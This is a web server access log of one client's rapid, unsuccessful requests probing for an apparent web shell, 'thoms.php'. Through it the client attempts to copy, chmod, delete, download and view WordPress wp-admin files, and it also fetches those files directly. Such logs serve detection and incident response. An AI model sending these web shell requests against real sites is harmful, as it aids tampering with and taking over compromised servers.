45.135.193.11 - - [11/Sep/2026:23:52:44 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Foptions-general.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Foptions-general.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:44 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fload-styles.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fload-styles.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:44 -0400] "GET /ba-guo.com.tw/wp-admin/async-upload.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:44 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Foptions-permalink.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Foptions-permalink.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:44 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=options.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:44 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fwidgets-form-blocks.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fwidgets-form-blocks.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:44 -0400] "GET /thoms.php?chmod=edit-link-form.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-link-form.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:44 -0400] "GET /thoms.php?chmod=edit-tag-form.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-tag-form.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:44 -0400] "GET /thoms.php?dl=media.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=media.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:44 -0400] "GET /thoms.php?del=press-this.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=press-this.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:44 -0400] "GET /thoms.php?chmod=moderation.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=moderation.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:45 -0400] "GET /thoms.php?del=ms-admin.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-admin.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:45 -0400] "GET /thoms.php?chmod=term.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=term.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:45 -0400] "GET /thoms.php?del=upgrade-functions.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=upgrade-functions.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:45 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=theme-editor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=theme-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:45 -0400] "GET /ba-guo.com.tw/wp-admin/widgets-form-blocks.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:45 -0400] "GET /thoms.php?chmod=user-edit.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=user-edit.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:45 -0400] "GET /thoms.php?del=user-new.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=user-new.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:45 -0400] "GET /thoms.php?del=admin-ajax.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin-ajax.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:45 -0400] "GET /thoms.php?dl=admin-functions.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin-functions.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:45 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=async-upload.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=async-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:45 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fimport.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fimport.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:45 -0400] "GET /thoms.php?del=theme-install.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme-install.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:45 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=admin-footer.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=admin-footer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:45 -0400] "GET /thoms.php?dl=upload.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=upload.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:45 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=menu-header.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=menu-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:45 -0400] "GET /ba-guo.com.tw/wp-admin/admin-functions.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:45 -0400] "GET /thoms.php?chmod=options-head.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-head.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:45 -0400] "GET /thoms.php?dl=term.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=term.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:46 -0400] "GET /ba-guo.com.tw/wp-admin/press-this.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:46 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fms-themes.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fms-themes.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:46 -0400] "GET /thoms.php?chmod=ms-users.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-users.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:46 -0400] "GET /thoms.php?del=site-health.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=site-health.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:46 -0400] "GET /thoms.php?dl=update.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=update.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:46 -0400] "GET /thoms.php?del=link.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=link.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:46 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=post-new.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=post-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:46 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fnetwork&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fnetwork&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:46 -0400] "GET /ba-guo.com.tw/wp-admin/menu-header.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:46 -0400] "GET /thoms.php?chmod=async-upload.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=async-upload.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:46 -0400] "GET /thoms.php?dl=edit-form-advanced.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-form-advanced.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:46 -0400] "GET /ba-guo.com.tw/wp-admin/profile.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:46 -0400] "GET /thoms.php?chmod=index.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:46 -0400] "GET /ba-guo.com.tw/wp-admin/options.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:46 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fwidgets.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fwidgets.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:46 -0400] "GET /thoms.php?dl=press-this.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=press-this.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:46 -0400] "GET /thoms.php?dl=edit-link-form.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-link-form.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:46 -0400] "GET /thoms.php?del=export-personal-data.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=export-personal-data.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:46 -0400] "GET /ba-guo.com.tw/wp-admin/customize.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:47 -0400] "GET /thoms.php?dl=privacy-policy-guide.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=privacy-policy-guide.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:47 -0400] "GET /thoms.php?dl=plugin-install.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=plugin-install.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:47 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=credits.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=credits.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:47 -0400] "GET /thoms.php?dl=edit-comments.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-comments.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:47 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fprivacy.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fprivacy.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:47 -0400] "GET /thoms.php?chmod=css&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=css&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:47 -0400] "GET /thoms.php?dl=link.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=link.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:47 -0400] "GET /thoms.php?del=link-parse-opml.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=link-parse-opml.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:47 -0400] "GET /thoms.php?dl=options-privacy.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-privacy.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:47 -0400] "GET /ba-guo.com.tw/wp-admin/widgets-form.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:47 -0400] "GET /thoms.php?chmod=post-new.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=post-new.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:47 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fsite-health-info.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fsite-health-info.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:47 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fsite-health.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fsite-health.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:47 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:47 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin%2Fjs HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:47 -0400] "GET /thoms.php?dl=ms-delete-site.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-delete-site.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:47 -0400] "GET /thoms.php?del=theme-editor.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme-editor.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:48 -0400] "GET /ba-guo.com.tw/wp-admin/admin-footer.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:48 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=theme-install.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=theme-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:48 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=update-core.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=update-core.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:48 -0400] "GET /thoms.php?chmod=load-styles.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=load-styles.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:48 -0400] "GET /ba-guo.com.tw/wp-admin/options-media.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:48 -0400] "GET /thoms.php?del=ms-themes.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-themes.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
